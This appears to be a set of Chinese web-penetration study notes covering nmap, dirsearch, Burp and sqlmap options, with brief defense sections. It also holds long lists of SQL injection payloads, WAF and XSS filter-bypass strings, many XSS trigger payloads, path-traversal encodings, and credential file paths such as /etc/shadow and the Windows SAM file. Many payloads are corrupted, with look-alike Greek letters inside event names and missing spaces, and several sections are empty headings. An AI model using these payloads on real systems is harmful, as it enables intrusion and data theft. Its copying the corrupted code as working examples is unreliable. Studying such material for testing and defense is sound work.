1、web安全总结
1.1 web安全简介
1.1.1 http协议
https 协议是http协议的基础上进行升级,是数据在传输过程中进行加密
1.1.2 http请求
GET、PUT、POST、OPTIONS、move、DELETE、head
GET 代表请求方法,
/sample.jsp 表示URI,
请求头包含许多有关的客户端环境和请求正文的有用信息。例如,请求头可以声明浏览器所用的语言,请求正文的长度等。例如:
Accept:image/gif.image/jpeg.*/*
Accept-Language:zh-cn
Connection:Keep-Alive
Host:localhost
User-Agent:Mozila/4.0(compatible:MSIE5.01:Windows NT5.0)
请求头和请求正文之间是一个空行,这个行非常重要,它表示请求头已经结束,接下来的是请求正文。请求正文中可以包含客户提交的查询字符串信息:
username=lichaokai&password=666666
1.2 信息探测
1.2.1 Nmap
nmap是一个免费开放的网络扫描和嗅探的工具包,也叫网络映射器。
1、探测一组主机是否在线
2、扫描主机端口,嗅探所提供的网络服务.
1. nmap -sT 192.168.96.4 //TCP连接扫描,不安全,慢
2. nmap -sS 192.168.96.4 //SYN扫描,使用最频繁,安全,快
3. nmap -Pn 192.168.96.4 //目标机禁用ping,绕过ping扫描
4. nmap -sU 192.168.96.4 //UDP扫描,慢,可得到有价值的服务器程序
5. nmap -sI 僵尸ip 目标ip //使用僵尸机对目标机发送数据包
6. nmap -sA 192.168.96.4 //检测哪些端口被屏蔽
7. nmap 192.168.96.4 -p <portnumber> //对指定端口扫描
8. nmap 192.168.96.1/24 //对整个网段的主机进行扫描
9. nmap 192.168.96.4 -oX myscan.xml //对扫描结果另存在myscan.xml
10. nmap -T1~6 192.168.96.4 //设置扫描速度,一般T4足够。
11. nmap -sV 192.168.96.4 //对端口上的服务程序版本进行扫描
12. nmap -O 192.168.96.4 //对目标主机的操作系统进行扫描
13. nmap -sC <scirptfile> 192.168.96.4 //使用脚本进行扫描,耗时长
14. nmap -A 192.168.96.4 //强力扫描,耗时长
15. nmap -6 ipv6地址 //对ipv6地址的主机进行扫描
16. nmap -f 192.168.96.4 //使用小数据包发送,避免被识别出
17. nmap –mtu <size> 192.168.96.4 //发送的包大小,最大传输单元必须是8的整数
18. nmap -D <假ip> 192.168.96.4 //发送参杂着假ip的数据包检测
19. nmap --source-port <portnumber> //针对防火墙只允许的源端口
20. nmap –data-length: <length>192.168.96.4 //改变发生数据包的默认的长度,避免被识别出来是nmap发送的。
21. nmap -v 192.168.96.4 //显示冗余信息(扫描细节)
22. nmap -sn 192.168.96.4 //对目标进行ping检测,不进行端口扫描(会发送四种报文确定目标是否存活,)
23. nmap -sP 192.168.96.4 //仅仅对目标进行ping检测。
24. nmap -n/-p 192.168.96.4 //-n表示不进行dns解析,-p表示要
25. nmap --system-dns 192.168.96.4 //扫描指定系统的dns服务器
26. nmap –traceroute 192.168.96.4 //追踪每个路由节点。
27. nmap -PE/PP/PM: 使用ICMP echo, timestamp,and netmask 请求包发现主机。
28. nmap -sP 192.168.96.4 //主机存活性扫描,arp直连方式。
29. nmap -iR [number] //对随机生成number个地址进行扫描。
1.2.2 dirsearch
Dirsearch为kali工具,用来对网站url路径进行探测扫描,常见的还有dirbuster、御剑等图形化工具。
-u,--url 目标url
-l,--url-list=FILE 目标url文件路径
--stdin 从标准输入中指定url
--cidr 目标网段
--raw=File 从文件中读取request报文,通过-schema指定策略
-e,--extensions 包含的文件拓展名(逗号分隔) 如-e php,asp
-X,--exclude-extensions 排除的文件拓展名(逗号分隔) 如-X asp,jsp
-f,--force-extensions 在字典的每条记录后面添加文件拓展名
-w,--wordlists 自定义wordlist(以逗号分隔)
--prefixes 添加自定义前缀
--suffixes 添加自定义后缀
--only-selected 筛选出指定的文件拓展名或无文件拓展名的目录
--remove-extensions 移除所有wordlist的后缀名 (admin.php --> admin)
-U, --uppercase 将字典转换为大写
-L, --lowercase 将字典转换为小写
-i 保留的响应状态码(以逗号分隔,支持指定范围) 如(-i 200,300-399)
-x 排除的响应状态码(以逗号分隔,支持指定范围) 如(-x 301,500-599)
--exclude-sizes 通过大小排除(以逗号分隔) 如(123B,4KB)
--exclude-texts 通过文本内容排除响应('Notfound', 'Error')
--exclude-regexps 通过正则匹配排除响应('Not foun[a-z]{1}', '^Error$')
--exclude-redirects 通过正则跳转目标排除响应
--minimal 最小响应报文长度
-m,--http-method HTTP请求方法 默认为GET
-d,--data HTTP请求数据
-H,--header 请求头 如(-H 'Referer: example.com' -H 'Accept: */*')
--header-list=FILE 从文件中读取请求头
-F,--follow-redirects 跟随HTTP跳转
--user-agent 设置user-agent字段
--timeout=TIMEOUT 连接超时时间
--ip=IP 服务器ip地址
-s DELAY, --delay=DELAY 每次请求间隔的时间
--proxy=PROXY 代理url支持HTTP和SOCKS代理 如(localhost:8080, socks5://localhost:8088)
--proxy-list=FILE 包含代理服务器的地址
--matches-proxy=PROXY Proxy to replay with found paths
--scheme 默认的策略 用于从文件中导入请求或url中不包含协议
--max-retries 最大重连次数
-b,--request-by-hostname 强制通过域名连接,(默认为了速度,使用ip连接)
--exit-on-error 出现错误时退出
--version 显示dirsearch的版本
-h --help 帮助提示
-r,--recursive 递归爆破
-R,--recursion-depth 最大递归的层数
-t,--threads 线程数
--subdirs 扫描子目录 如(admin/ 则www.example.com/admin/+字典)
--exclude-subdirs 在递归扫描中排除的子目录
-q,--quiet-mode 安静模式
--full-url 打印出完整的url
--simple-report=OUTPUTFILE
--plain-text-report=OUTPUTFILE
--json-report=OUTPUTFILE
--xml-report=OUTPUTFILE
--markdown-report=OUTPUTFILE
1.3 漏洞扫描
1.3.1 Burp Suit 的使用
Proxy: 代理
Intruder: 爆破
Repeder: 流量包的重放
Decoder: 编码解码
Comparer: 流量包对比
Extender: 插件
作为比较常用的模式,Sniper的作用是对其中选定的参数一个一个依次遍历字典并且替换然后测试。
不同于sniper,Batteringram是两个参数同时进行遍历一个字典的。
Pitchfork作为多字典,他的特点也非常明显,就是多个字典同时进行,与Battering ram有些相似之处,但是一个是多个人跑一个赛道,而一个是多个人,各有各的赛道。
2.4Cluster bomb(集束炸弹)(推荐爆破时使用)
Cluster bomb兼备了前面三种模式的所有的功能,那就是全部遍历,不放过所有情况,但是在超大字典的情况下,运算能力就限制了Cluster bomb模式的发挥,所以只要算力足够,那爆破出密码就不是问题。
1.3.2 AWVS
AWVS针对web应用系统进行漏洞扫描,可以单个url进行测试扫描和文件导入多行数据进行漏洞扫描。
1.3.3 nessus
1.4 SQL注入
1、SQL注入的原理
对用户提交的数据没有任何过滤和校验,提交到数据库进行解析并执行。
2、注入位置
get、post、update、cookie、http header、referer
3、注入方法
union select联合查询、报错注入、布尔注入、延时注入、二次注入
4、常见的数据库
Mysql、oracle、access、sqlserver、prostgreSQL、MongoDB、Redis
5、sqlmap
--dbs 跑所有的数据库
-D DVWA --tables 查看所有表
-D DVWA -T users --dump 脱裤 dump 数据
--dump-all 所有数据
-r 指定数据包文件进行测试
--random-agent 随机agent --user-agent 指定agents
--proxy="127.0.0.1:8080" 指定一个代理
--delay=3 频繁发包请求可能会触发服务器阈值或waf 延迟3秒请求 ids ips
--dbms=MySQL 指定测试mysql数据库payload
--tamper= 使用sqlmap自带tamper脚本来混淆payload通常用来绕waf和ips
--level=LEVEL 设置测试的等级(1-5,默认为1)lv2:cookie; lv3:user-agent,refere; lv5:host 在sqlmap/xml/payloads文件内可以看见各个level发送的payload
--risk=RISK 风险(1-4,默认1)升高风险等级会增加数据被篡改的风险。risk 2:基于事件的测试;risk 3:or语句的测试;risk4:update的测试
U --is-dba 是否是dba权限
--technique=B 指定所测试的类型(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用
--current-user 测试当前数据库的用户名
--users 查询共有哪些用户
--passwords 查询用户密码
--os-cmd=whoami 执行系统命令
--os-shell 系统交互shell
--file-read="/etc/password"
--file-write #写入本地文件(–file-write/test/test.txt –file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)
6、手工注入
6.1 测试流程
1、 寻找注入点(使用单引号或者双引号)
2、 判断注入类型(字符型or数字型)
1'
1 and 1=1 #
1 and 1=2 #
1' and 1=1 #
1' and 1=2 #
1' or '1' = '1 #
1' or '1' = '2 #
3、 order by 查找显位(适用于联合查询)
6.2 联合查询
1' union select version()
判断列数
1' order by 1 -- - --+ #
判断显位
1' union select 1,2 -- -
查询数据
1' union select 1,(select database()) -- -
查数据库
基本语句:
1' UNION SELECT 1,database() from information_schema.schemata#
查询表名
1' UNION SELECT 1,table_name from information_schema.tables wheretable_schema='dvwa'#
1' UNION SELECT 1,table_name from information_schema.tables wheretable_schema='dvwa'#
查询字段
1' UNION SELECT 1,column_name from information_schema.columns wheretable_schema='dvwa' and table_name='users'#
查询列
1' UNION SELECT 1,group_concat(password,0x3a,user) from users#
6.2 盲注
ASCill表对应的值,键盘上的字符对应ASCill 表中的33-126位
1' and length(database())>10 # //missing
1' and length(database())>5 # //missing
1' and length(database())>3 # //exists
1' and length(database())=4 # //exists
1' and ascii(substr(database(),1,1))=50 #
1' and (select count(table_name) from information_schema.tableswhere table_schema=database()) >10#
1' and (select count(table_name) from information_schema.tableswhere table_schema=database()) =2#
1' and length(substr((select table_name frominformation_schema.tables where table_schema=database() limit 0,1),1))=10 #
第一个表的长度是9
1' and ascii(substr((select table_name frominformation_schema.tables where table_schema=database() limit 0,1),1,1))=88 #
1' and ascii(substr((select table_name frominformation_schema.tables where table_schema=database() limit 0,1),1,1))=88 #
1' and (select count(column_name) from information_schema.columnswhere table_schema=database() and table_name='users')=8 #
users表里有8个列
1' and length(substr((select column_name frominformation_schema.columns where table_name= 'users' limit 0,1),1))=7 #
users表中第一个字段长度为7
1' and ascii(substr((select column_name frominformation_schema.columns where table_schema=database() and table_name='users'limit 0,1),1,1))=88 #
1' and ascii(substr((select column_name frominformation_schema.columns where table_schema=database() and table_name='users'limit 1,1),1,1))=88 #
1' and length(substr((select user from users limit 0,1),1))=5#
first_name列有5行数据
1' and length(substr((select first_name from users limit 1,1),1))=1#
1' and ascii(substr((select first_name from users limit1,1),1,1))=1#
6.3 报错注入
1' and extractvalue(1,concat(0x7e,database()));#
1' and extractvalue(1,concat(0x7e,(select count(table_name) frominformation_schema.tables where table_schema='dvwa')))#
1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables wheretable_schema='dvwa' limit 0,1)))#
1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables wheretable_schema='dvwa' limit 1,1)))#
1' and extractvalue(1,concat(0x7e,(select count(column_name) frominformation_schema.columns where table_schema='dvwa' and table_name='users')))#
1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns wheretable_schema='dvwa' and table_name='users' limit 0,1)))#
1' and extractvalue(1,concat(0x7e,(select user from users limit0,1)));#
7、常见的绕过方式
7.1 绕过空格(注释符/* */,%a0):
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/
select * from users where id=8E0union select 1,2,3
select * from users where id=8.0 select 1,2,3
7.2 括号绕过空格:
在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
select(user())from dual where(1=1)and(2=2)
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
上面的方法既没有逗号也没有空格。猜解database()第一个字符ascii码是否为109,若是则加载延时。
7.3 引号绕过(使用十六进制):
会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:
select column_name from information_schema.tables where table_name="users"
这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。
users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:
select column_name from information_schema.tables where table_name=0x7573657273
7.4 逗号绕过(使用from或者offset):
在使用盲注的时候,需要使用到substr(),mid(),limit()。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
union select 1,2 #等价于
union select * from (select 1)a join (select 2)b
select ascii(mid(user(),1,1))=80 #等价于
select * from news limit 0,1
# 等价于下面这条SQL语句
select * from news limit 1 offset 0
7.5 比较符号(<>)绕过(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本):
使用greatest()、least():(前者返回最大值,后者返回最小值)
同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。
select * from users where id=1 and ascii(substr(database(),0,1))>64
此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,...)函数返回输入参数(n1,n2,n3,...)的最大值。
那么上面的这条sql语句可以使用greatest变为如下的子句:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
between a and b:
7.6 or and xor not绕过:
7.7 绕过注释符号(#,--(后面跟一个空格))过滤:
7.8 =绕过:
使用like 、rlike 、regexp 或者 使用< 或者 >
7.9 绕过union,select,where等:
//,-- , /**/, #, --+, -- -, ;,%00,--a
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
(4) 双关键字绕过(若删除掉第一个匹配的union就能绕过):
id=-1'UNIunionONSeLselectECT1,2,3–-
7.10 通用绕过(编码):
如URLEncode编码,ASCII,HEX,unicode编码绕过:
or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
7.11 等价函数绕过:
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
12.宽字节注入:
在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:
(1)%df 吃掉 \ 具体的方法是 urlencode(\') = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(')符号在外面:
id=-1%df%5c%27union select 1,user(),3--+
(2)将 \' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。
一般产生宽字节注入的PHP函数:
1.replace():过滤 ' \ ,将 ' 转化为 \' ,将 \ 转为 \\,将 " 转为 \" 。用思路一。
2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:' , " , \ 。用思路一
(防御此漏洞,要将 mysql_query 设置为 binary 的方式)
3.mysql_real_escape_string():转义下列字符:
PCRE绕过:
union/*'+'a'*1000001+'*/select
8、sql注入的防御
1、使用参数化查询或预编译语句:
将用户输入作为参数传递给查询,而不是直接拼接到查询字符串中,这样可以将参数值和SQL语句分开处理,使得参数值不会被当作代码的一部分进行解释执行以提高应用程序的安全性。
2、输入验证和过滤
输入验证和过滤是一种用于确保用户输入数据的安全性和有效性的技术。它可以防止恶意输入和错误数据导致的安全漏洞和应用程序错误。
3、最小权限原则
最小权限原则是一种安全性原则,指的是为了保护敏感数据和系统资源,用户应该被授予最小必需的权限。
4、使用防火墙和入侵检测系统
使用防火墙和入侵检测系统是为了保护计算机网络免受未经授权的访问和恶意攻击。
5、定期更新和维护数据库软件
定期更新和维护数据库软件是非常重要的,以确保数据库的安全性、性能和功能的稳定性。
6、输入数据编码
对于用户输入的数据,在存储到数据库之前,需要对其进行合适的编码,以防止恶意的SQL代码被执行。可以使用转义字符、编码函数等方式实现。
1.5 XSS漏洞
XSS 即(Cross Site Scripting)中文名称为:跨站脚本攻击
1、XSS 的原理
恶意攻击者在web页面中会插入一些恶意的script代码。当用户浏览该页面的时候,那么嵌入到web页面中script代码会执行,因此会达到恶意攻击用户的目的。
2、XSS的类型
2.1、存储型
主要是将恶意代码上传或存储到服务器中,下次只要受害者浏览包含此恶意代码的页面就会执行恶意代码。
2、用户打开目标网站时,网站服务器将恶意代码从数据库中取出,然后拼接到html中返回给浏览器中。
3、用户浏览器接收到响应后解析执行,其中的恶意代码也会被执行。
4、恶意代码执行后,就能获取到用户数据,比如上面的cookie等信息,那么把该cookie发送到攻击者网站中,那么攻击者拿到该cookie然后会冒充该用户的行为,调用目标网站接口等违法操作。
2.2、反射型
反射性xss一般指攻击者通过特定的方式来诱惑受害者去访问一个包含恶意代码的URL。当受害者点击恶意链接url的时候,恶意代码会直接在受害者的主机上的浏览器执行。
2、当用户打开带有恶意代码的URL的时候,网站服务端将恶意代码从URL中取出,拼接在html中并且返回给浏览器端。
3、用户浏览器接收到响应后执行解析,其中的恶意代码也会被执行到。
4、攻击者通过恶意代码来窃取到用户数据并发送到攻击者的网站。攻击者会获取到比如cookie等信息,然后使用该信息来冒充合法用户的行为,调用目标网站接口执行攻击等操作。
2.3、Dom型
DOM-basedXSS漏洞是基于文档对象模型(Document ObjectModel)的一种漏洞。这种XSS与反射型XSS、持久型XSS在原理上有本质区别,它的攻击代码并不需要服务器解析响应,触发XSS靠的是浏览器端的DOM解析。客户端上的JavaScript脚本可以访问浏览器的DOM并修改页面的内容,不依赖服务器的数据,直接从浏览器端获取数据并执行。在客户端直接输出DOM内容的时候极易触发DOM型XSS漏洞,如document.getElementByld(“x’).innerHTML、document.write)等。
3、XSS常用触发标签
<img src=xοnerrοr="alert(1)">
<img src=xοnerrοr=eval("alert(1)")>
<img src=1οnmοuseοver="alert('xss');">
<img src=1οnmοuseοut="alert('xss');">
<img src=1οnclick="alert('xss');">
<ahref="javascript:alert(1)">test</a>
<ahref="x" οnfοcus="alert('xss');"autofocus="">xss</a>
<ahref="x" οnclick=eval("alert('xss');")>xss</a>
<ahref="x" οnmοuseοver="alert('xss');">xss</a>
<ahref="x" οnmοuseοut="alert('xss');">xss</a>
<iframesrc="javascript:alert(1)">test</iframe>
<iframeοnlοad="alert(document.cookie)"></iframe>
<iframeοnlοad="alert('xss');"></iframe>
<iframeοnlοad="base64,YWxlcnQoJ3hzcycpOw=="></iframe>
<iframeοnmοuseοver="alert('xss');"></iframe>
<iframesrc="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<audio src=1οnerrοr=alert(1)>
<audio><sourcesrc="x" οnerrοr="alert('xss');"></audio>
<audio controlsοnfοcus=eval("alert('xss');")autofocus=""></audio>
<audio controlsοnmοuseοver="alert('xss');"><sourcesrc="x"></audio>
<video src=x οnerrοr=alert(1)>
<video><sourceοnerrοr="alert('xss');"></video>
<video controlsοnmοuseοver="alert('xss');"></video>
<video controlsοnfοcus="alert('xss');" autofocus=""></video>
<video controlsοnclick="alert('xss');"></video>
<svg οnlοad=javascript:alert(1)>
<svgοnlοad="alert('xss');"></svg>
<button οnclick=alert(1)>
<buttonοnfοcus="alert('xss');" autofocus="">xss</button>
<buttonοnclick="alert('xss');">xss</button>
<buttonοnmοuseοver="alert('xss');">xss</button>
<buttonοnmοuseοut="alert('xss');">xss</button>
<buttonοnmοuseup="alert('xss');">xss</button>
<buttonοnmοusedοwn="alert('xss');"></button>
<divοnmοuseοver='alert(1)'>DIV</div>
<divonmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv>
这个需要借助 data 伪协议和base64 编码来实现绕过
<objectdata="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>
<script>alert('xss')</script>
<script>alert(/xss/)</script>
<pοnclick="alert('xss');">xss</p>
<pοnmοuseοver="alert('xss');">xss</p>
<pοnmοuseοut="alert('xss');">xss</p>
<pοnmοuseup="alert('xss');">xss</p>
<inputοnclick="alert('xss');">
<inputοnfοcus="alert('xss');">
<input οnfοcus="alert('xss');"autofocus="">
<inputοnmοuseοver="alert('xss');">
<input type="text"οnkeydοwn="alert('xss');"></input>
<input type="text"οnkeypress="alert('xss');"></input>
<input type="text"οnkeydοwn="alert('xss');"></input>
<detailsοntοggle="alert('xss');"></details>
<detailsοntοggle="alert('xss');" open=""></details>
<selectοnfοcus="alert('xss');" autofocus></select>
<selectοnmοuseοver="alert('xss');"></select>
<selectοnclick=eval("alert('xss');")></select>
<form method="x"action="x" οnmοuseοver="alert('xss');"><inputtype=submit></form>
<form method="x"action="x" οnmοuseοut="alert('xss');"><inputtype=submit></form>
<form method="x"action="x" οnmοuseup="alert('xss');"><inputtype=submit></form>
16、body
<bodyοnlοad="alert('xss');"></body>
4、常见的绕过方式
1、大小写绕过
<script>alert(“xss”);</script>
<ScRipt>ALeRt(“XSS”);</sCRipT>
2、双写绕过
<script>alert(“xss”);</script>
<scr<script>ipt>alert(“xss”);</scr</script>ipt>
3、空格/回车(换行符)/Tab
当过滤掉了Javascript等敏感字符串时就对字符串进行添加空格,换行或tab,此处利用js自身的性质:js通常用分号结尾,当解析到完整语句并且行尾存在换行符的情况下就可以忽略掉分号,若解析确定不是完整语句,则会继续处理,直到语句结束或出现分号。
例如下列语句,我们利用空格将语句分隔成了两部分,解析引擎解析确定到的不是完整的语句,JavaScript则会继续进行处理直到这个语句结束,利用换行符和tab同理
<img src="java script:alert(‘xss‘);" width=100>
<img src="javascript: alert(‘xss‘);" width=100>
4、堆叠绕过
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
5、前端抓包绕过
过滤严格的函数可能也会将标签进行严格控制,但是如果用其他形式表示标签,脚本仍能解析却可以绕过过滤
6、Alert混淆以绕过过滤器
(alert)(1)
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
7、编码绕过
8、xss的危害
2、窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;
3、网页挂马,进行恶意操作,例如任意篡改页面信息、删除文章等;
9、xss的防御方法
1、输入进行编码和过滤
2、输出进行编码
在输出数据之前对潜在的威胁的字符进行编码、转义是防御XSS攻击十分有效的措施。
< 转成 <
> 转成 >
& 转成 &
" 转成 "
' 转成 '
\ 转成 \\
/ 转成 \/
1.6 文件上传漏洞
1、文件上传的原理
2、文件上传漏洞的危害
3、常见的上传点
4、绕过方式
5、修改后缀为(html | htm | php | php2 | php3 | php4 | php5 | asp | aspx | ascx | jsp | cfc | bat | exe | com | dll | vbs | js | reg | cgi | htaccess | asis | sh | shtm |inc )等
6、%00截断 ---文件名为 a.php%00.jpg,或者通过修改.htaccess,但是对配置有要求
指的是在一块数据存储或传输之际在头追加的数据,这些信息是对数据区的描述
5、防御方式
1.7任意文件下载漏洞
1、任意文件读取的原理
任意文件读取漏洞是指攻击者可以通过web应用程序读取任意文件而不受访问控制限制的漏洞。这种漏洞可能导致敏感信息泄露、系统崩溃等问题。
readfile.php?file=
download.php?file=
read.php?filename=
down.php?file=
download.php?path=
download.php?file=
down.php?file=
data.php?file=
readlife.php?file=
read.php?filename=
或者包含参数:
&url=
&file_name=
&Filepath=
&Path=
2、利用方式
3、敏感文件
Linux:
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/etc/my.conf //mysql 配置文件
/etc/httpd/conf/httpd.conf // Apache配置文件
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
Windows:
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root密码
C:\Windows\php.ini
应用的日志文件
1、 /var/log/apache2/access.log
4、防御方法
要下载的文件地址保存至数据库中,让用户提交文件对应ID下载文件
1.8 文件包含漏洞
文件包含漏洞就是使用函数去包含任意文件的时候,当包含的文件来源过滤不严谨的时候,当存在包含恶意文件后,就可以通过这个恶意的文件来达到相应的目的。
1、文件包含漏洞的原理
其实原理就是由于在代码开发的过程中,有时候会遇到相同的代码,不想重复输入,就将代码单独写在一个文件里面,当遇到的时候就直接调用该文件进行运行,而这种方式就会导致客户端可以调用其他的恶意文件,通过恶意文件造成文件包含漏洞。
但是前提也是当文件包含的代码文件被当作一个变量来使用,并且能够被用户传入参数,如果没有对该变量做相应的安全防护,就可能会引发出文件包含漏洞。
2、文件包含漏洞的函数
PHP:include() 、include_once()、require()、require_once()
JSP/Servlet:ava.io.file()、java.io.filereader()
ASP:include file、include virtual
文件包含漏洞在PHP中是比较多的,像JSP、ASP这方面的漏洞是比较少的,但这并不是说就不存在。
include:包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。
include_once:和 include 类似,不同处在于 include_once 会检查这个文件是否已经被导入,如果已导入,下文便不会再导入,直面 once 理解就是只导入一次。
require:包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。
require_once:和 require 类似,不同处在于 require_once 只导入一次。
3、漏洞分类
3.1 本地文件包含
本地文件包含,通过意思就能够理解,就是在条件允许的情况下,所谓的条件允许也就是安全防护没做到位,通过这个条件对文件路径加载文件,就形成了本地文件包含。
例如php代码:
<?php
$filename=$_GET[name];
include($filename);
index.php,通过文件包含进行执行,就形成了本地文件包含,若这个name参数能够被用户控制,那么就形成了本地文件包含漏洞
3.2 远程文件包含
远程文件包含漏洞导致的原因和本地文件包含漏洞造成的原因是一样的,只不过远程文件包含漏洞是利用外部的服务器中的文件进行执行,就形成了远程文件包含漏洞。
但是前提是需要在php.ini中的配置选项中allow_url_fopen和allow_url_include为ON。
例如php代码:
<?php
$filename=$_GET[name];
include($filename);
服务器php代码:
攻击者访问服务器网站,并把主机上的本地文件进行远程文件包含。
4、常用协议
php:// — 访问各个输入/输出流(I/O streams)
5、绕过方式
%2e%2e%2f 等同于../
%2f 等同于../
%2e%2e 等同于../
%2e%2e%5c 等同于..\
%2e%2e\ 等同于..\
..%5c 等同于..\
..%255c 等同于..\
6、危害
读取WEB服务器上的配置文件以及WEB服务器上的敏感文件,并且若和webshell联动,并将恶意代码执行将造成更大的危害,通常来说远程文件包含漏洞危害更大。
7、防御方式
要想解决本地文件包含漏洞,应该尽量避免使用含有动态的变量,尤其是用户可以控制的变量,一种变通方式,就是使用枚举,将可能用到的file的值枚举出来,也就避免了任意文件包含的风险。
8、文件包含的特点
原来含有<?php phpinfo();?>代码的php文件后缀名修改为jpg的时候,依旧执行了php代码。
文件包含漏洞在读取源码的时候,若遇到符合PHP语法规范的代码,将会无条件执行。
1.9 csrf漏洞
CSRF(Cross-site Request Forgery)跨站请求伪造(或者缩写为XSRF),也被称为"One Click Attack"或"Session Riding"(曾被列为互联网 20 大安全隐患之一),是一种借助社工对网站身份的恶意利用。不大流行,但如果被成功利用,危害更大。
1、原理
跨站请求伪造(英语: Cross-site request forgery),也被称为one- click attack或者session riding,通常缩写为CSRF或者XSRF,是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS) 相比,XSS利用的是用户对指定网站的信任,CSRF利用的是网站对用户网页浏览器的信任。
CSRF(Cross-site Request Forgery)跨站请求伪造(或者缩写为XSRF),也被称为"One Click Attack"或"Session Riding"(曾被列为互联网 20 大安全隐患之一),是一种借助社工对网站身份的恶意利用。
2、CSRF类型
3、CSRF漏洞危害
以受害者的名义发送邮件、发消息、盗取受害者的账号,甚至购买商品、虚拟货币转账、修改受害者的网络配置(比如修改路由器DNS、重置路由器密码)等等操作。造成的问题包括:个人隐私的泄露、机密资料的泄露、用户甚至企业的财产安全;
一句话概括CSRF的危害:盗用受害者的身份,受害者能做什么,攻击者就能以受害者的身份做什么。
4、利用思路
寻找有权限进行增删改查操作的功能点:比如修改密码、修改个人信息等等,通过burp构造HTML,修改HTML表单中某些参数,使用浏览器打开该HTML,点击提交表单后查看响应结果,看该操作是否成功执行。
5、利用攻击
URL: https://www.owasp.org/index.php/File:CSRFTester-1.0.zip
6、防御
CSRF之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存储在cookie中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的cookie来通过验证。
要低于CSRF,关键在于在请求中放入和黑客所不能伪造的信息,并且该信息不存在于cookie中。可以在http请求中以参数的形式加入一个随机产生的token,并且在服务器端建立一个拦截器来验证这个token值,如果请求中没有token值或者token不正确,则可以认为可能是CSRF攻击而拒绝请求。
根据http协议,在http头部中有一个字段叫referer,它记录了该http请求的来源地址。如果referer记录的不是同一个浏览器的请求,那么就可能是攻击者伪造的恶意链接,可以根据此方法来防范CSRF攻击。
1.10 SSRF
1、SSRF原理
SSRF全称:Server-Side Request Forgery,即 服务器端请求伪造。是一个由攻击者构造请求,在目标服务端执行的一个安全漏洞。攻击者可以利用该漏洞使服务器端向攻击者构造的任意域发出请求,目标通常是从外网无法访问的内部系统。简单来说就是利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网进行攻击。
2、攻击方式
当攻击者想要访问服务器B上的服务,但是由于存在防火墙或者服务器B是属于内网主机等原因导致攻击者无法直接访问。如果服务器A存在SSRF漏洞,这时攻击者可以借助服务器A来发起SSRF攻击,通过服务器A向主机B发起请求,达到攻击内网的目的。
某网站有一个在线加载功能可以把指定的远程文章加载到本地,链接如下:
http://www.xxx.com/article.php?url=https://blog.csdn.net/qq_43531669/article/details/112498646
